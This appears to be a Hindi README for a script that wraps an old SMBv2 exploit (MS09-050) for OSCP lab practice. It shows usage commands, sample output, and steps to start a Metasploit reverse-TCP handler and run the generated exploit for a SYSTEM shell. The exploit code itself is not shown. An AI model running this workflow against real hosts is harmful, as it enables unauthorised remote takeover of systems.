MS09-050 SMBv2 एक्सप्लॉइट रैपर

MS09-050 (CVE-2009-3103) शोषण के लिए वन-लाइनर सेटअप। कोई झंझट नहीं, कोई डीबगिंग नहीं, बस काम करता है।

क्यों?

अधिकांश MS09-050 स्क्रिप्ट जो इधर-उधर घूम रही हैं, उन्हें मैन्युअल शेलकोड इंजेक्शन की आवश्यकता होती है, हैंडलर के साथ टाइमिंग की समस्याएँ होती हैं, या बस काम नहीं करतीं। यह रैपर:

सही पैरामीटर के साथ शेलकोड जनरेट करता है
एक्सप्लॉइट को स्वचालित रूप से बनाता है
उपयोग के लिए तैयार Metasploit हैंडलर बनाता है
आपको बताता है कि वास्तव में क्या चलाना है

समय मायने रखने वाली OSCP तैयारी के लिए बनाया गया।

लक्ष्य

भेद्यता: MS09-050 / CVE-2009-3103
प्रभावित: Windows Vista SP1/SP2, Windows Server 2008 (R2 से पहले)
सेवा: पोर्ट 445 पर SMBv2
परिणाम: SYSTEM शेल

आवश्यकताएँ

Kali Linux (या Metasploit वाला कोई भी डिस्ट्रो)
msfvenom
msfconsole
python2
rpcclient (आमतौर पर पहले से इंस्टॉल होता है)

उपयोग

./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]

उदाहरण

./ms09_050.sh 192.168.233.40 192.168.45.232 443

आउटपुट:

[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
    - exploit.py
    - handler.rc

=== RUN ===

Terminal 1:  msfconsole -q -r handler.rc
Terminal 2:  python2 exploit.py 192.168.233.40

निष्पादन

टर्मिनल 1 - हैंडलर शुरू करें:
```
msfconsole -q -r handler.rc
```
इसकी प्रतीक्षा करें: Started reverse TCP handler on ...
टर्मिनल 2 - एक्सप्लॉइट चलाएँ:
```
python2 exploit.py 192.168.233.40
```
अपना शेल पाने के लिए टर्मिनल 1 जाँचें।

नोट्स

स्टेज्ड पेलोड (windows/shell/reverse_tcp) का उपयोग करता है - इस एक्सप्लॉइट में स्टेजर के साथ विश्वसनीय रूप से काम करता है
यदि एक्सप्लॉइट विफल हो जाता है, तो लक्ष्य को रीबूट की आवश्यकता हो सकती है या वह भेद्य नहीं है
यदि 4444 फ़िल्टर किया गया है तो पोर्ट 443 अनुशंसित है

क्रेडिट्स

मूल एक्सप्लॉइट ohnozzy के MS09-050 PoC पर आधारित है।

लाइसेंस

MIT - जो चाहें करें, बस बुराई न करें।

ms09-050-CVE-2009-3103-exploit

सबसे लोकप्रिय